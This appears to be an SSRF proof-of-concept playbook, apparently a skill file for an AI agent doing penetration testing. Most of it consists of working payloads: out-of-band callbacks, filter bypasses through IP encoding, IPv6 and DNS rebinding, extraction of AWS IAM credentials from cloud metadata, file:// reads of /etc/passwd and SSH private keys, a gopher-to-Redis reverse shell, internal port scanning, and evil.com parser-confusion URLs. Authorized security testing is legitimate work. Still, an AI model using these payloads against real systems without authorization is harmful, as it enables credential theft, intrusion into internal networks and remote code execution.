Ssrf Poc

ssrf-poc

When to Use

• User requests SSRF testing or server-side request forgery detection
• Testing URL/webhook input fields for internal service access
• Accessing cloud metadata services (AWS/GCP/Azure)
• Probing internal network through application requests
• Setting up OOB (out-of-band) callbacks for blind SSRF
• Bypassing SSRF filters with encoding or redirect techniques
• Testing file:// or gopher:// scheme exploitation
• Validating SSRF findings with proof of concept

Quick Start

# Generate OOB payload
interactsh-client

# Use the generated domain in SSRF payloads
# Example: https://target.com/fetch?url=http://PAYLOAD.oast.pro

# Basic localhost access
http://127.0.0.1/admin
http://localhost:8080/
http://0.0.0.0:22

# Cloud metadata
http://169.254.169.254/latest/meta-data/

Interactsh Setup

Generate OOB Payload

# Start client (auto-generates unique domain)
interactsh-client

# Output:
# [INF] c23b2la0kl1krjcrdj10cndmnioyyyyyn.oast.pro

Monitor Interactions

# Verbose mode with logging
interactsh-client -v -o ssrf-interactions.txt

# JSON output
interactsh-client -json -o results.json

# Filter by protocol
interactsh-client -http-only
interactsh-client -dns-only

Session Persistence

# Resume same session later
interactsh-client -sf ssrf-session.session

Custom Server

# Use specific server
interactsh-client -server oast.pro

# Self-hosted server
interactsh-client -server your-server.com -token YOUR_TOKEN

Step-by-Step Process

1. Generate OOB Payload

interactsh-client
# Note the generated domain: xyz123.oast.pro

2. Identify SSRF Injection Points

Common parameters: url, path, src, href, redirect, uri, callback, webhook, proxy, target, fetch, load, data, file

3. Test Basic SSRF

# Inject OOB domain
https://target.com/api?url=http://xyz123.oast.pro

# Check interactsh for callback
# [xyz123] Received HTTP interaction from TARGET_IP

4. Escalate with Bypass Techniques

If basic payload blocked, try bypass techniques (see below).

5. Extract Sensitive Data

# Cloud metadata
https://target.com/api?url=http://169.254.169.254/latest/meta-data/

# Internal services
https://target.com/api?url=http://localhost:8080/admin

Bypass Techniques

IPv6 Notation

http://[::]:80/
http://[0000::1]:80/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/

Localhost Variations

http://127.0.0.1
http://localhost
http://127.1
http://127.0.1
http://0.0.0.0
http://0/
http://127.127.127.127

Domain Redirect Services

http://localtest.me              → ::1
http://127.0.0.1.nip.io          → 127.0.0.1
http://company.127.0.0.1.nip.io  → 127.0.0.1
http://spoofed.BURP_COLLAB       → 127.0.0.1

IP Encoding

# Decimal
http://2130706433/        → 127.0.0.1
http://2852039166/        → 169.254.169.254

# Hexadecimal
http://0x7f000001/        → 127.0.0.1
http://0xa9fea9fe/        → 169.254.169.254

# Octal
http://0177.0.0.1/        → 127.0.0.1

URL Encoding

http://127.0.0.1/%61dmin       (single encode)
http://127.0.0.1/%2561dmin     (double encode)
http://127%2e0%2e0%2e1/        (encoded dots)

DNS Rebinding

# Using 1u.ms service
# Rotates between two IPs

make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

# Verify rotation
nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

Redirect Bypass

# Using r3dir.me service
https://307.r3dir.me/--to/?url=http://localhost
https://ENCODED.302.r3dir.me → http://169.254.169.254/

URL Parser Exploitation

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Cloud Metadata Targets

URL Schemes

Examples

Example 1: Basic OOB Detection

Scenario: Test URL parameter for blind SSRF

Setup:

interactsh-client
# [INF] abc123xyz.oast.pro

Payload:

https://target.com/webhook?url=http://abc123xyz.oast.pro

Detection:

[abc123xyz] Received HTTP interaction from 52.14.23.45 at 2024-01-15 10:30

Example 2: AWS Metadata Extraction

Scenario: Access EC2 instance credentials via SSRF

Payload:

https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Response:

my-iam-role

Follow-up:

https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-iam-role

Example 3: IPv6 Bypass

Scenario: localhost blocked, try IPv6

Blocked:

https://target.com/fetch?url=http://localhost:8080/admin
# Error: localhost not allowed

Bypass:

https://target.com/fetch?url=http://[::]:8080/admin
https://target.com/fetch?url=http://[0000::1]:8080/admin

Example 4: Decimal IP Bypass

Scenario: IP addresses blocked

Blocked:

https://target.com/fetch?url=http://127.0.0.1/admin

Bypass:

https://target.com/fetch?url=http://2130706433/admin

Example 5: DNS Rebinding

Scenario: Application validates DNS then fetches

Payload:

https://target.com/fetch?url=http://make-8.8.8.8-rebind-127.0.0.1-rr.1u.ms/admin

First lookup returns 8.8.8.8 (passes validation), second returns 127.0.0.1.

Example 6: Internal Port Scanning

Scenario: Discover internal services

Command:

# Generate URLs for port scan
for port in 22 80 443 3306 5432 6379 8080 9200; do
  echo "http://127.0.0.1:$port/"
done > ports.txt

# Test each via SSRF endpoint

Response Analysis:

• Different response time = port open
• Connection refused = port closed
• Different response size = service detected

Example 7: Redirect Service Bypass

Scenario: External URLs only allowed

Payload:

https://target.com/fetch?url=https://307.r3dir.me/--to/?url=http://localhost:8080/admin

Server follows redirect to internal resource.

Example 8: File Protocol

Scenario: file:// scheme supported

Payloads:

https://target.com/pdf?url=file:///etc/passwd
https://target.com/pdf?url=file:///proc/self/environ
https://target.com/pdf?url=file:///home/user/.ssh/id_rsa

Example 9: Gopher Protocol Exploitation

Scenario: Exploit Redis via gopher

Generate Payload:

gopherus --exploit redis
# Enter: reverse shell command

Use Generated Payload:

https://target.com/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a...

Example 10: Webhook SSRF

Scenario: Test webhook callback functionality

Setup:

interactsh-client -v
# [INF] webhook123.oast.pro

Configure Webhook:

{
  "callback_url": "http://webhook123.oast.pro/notify",
  "events": ["order.created"]
}

Verify Callback:

[webhook123] Received HTTP interaction
POST /notify HTTP/1.1
Host: webhook123.oast.pro
Content-Type: application/json

Example 11: SSRF via Image URL

Scenario: Profile image URL vulnerable

Payload:

https://target.com/profile/update
POST: avatar_url=http://169.254.169.254/latest/meta-data/

If image rendered: Check for metadata in response If blind: Use OOB callback

Example 12: URL Parser Confusion

Scenario: Different libraries parse URLs differently

Payloads:

http://evil.com#@target-internal.local/admin
http://evil.com\@target-internal.local/admin
http://target-internal.local:80\@evil.com/

Error Handling

Interactsh Command Reference

Public Interactsh Servers

SSRF Checklist

1. Identify Input Points - URL params, headers, webhooks
2. Setup OOB Detection - interactsh callback
3. Test Basic SSRF - localhost, 127.0.0.1
4. Try Bypass Techniques - encoding, redirect, DNS rebinding
5. Target Cloud Metadata - AWS/GCP/Azure endpoints
6. Test URL Schemes - file://, gopher://, dict://
7. Port Scan Internal - Common service ports

Best Practices

1. Always Use OOB - Blind SSRF common, use interactsh
2. Try Multiple Bypasses - Encoding, redirect, rebinding
3. Check All Protocols - HTTP, HTTPS, file, gopher
4. Target Metadata First - Quick wins on cloud targets
5. Document Response Differences - Timing, size, content
6. Chain with Other Vulns - SSRF → RCE via Redis/Memcache

References

• Interactsh GitHub
• PayloadsAllTheThings SSRF
• OWASP SSRF Prevention
• PortSwigger SSRF
• AWS IMDS Documentation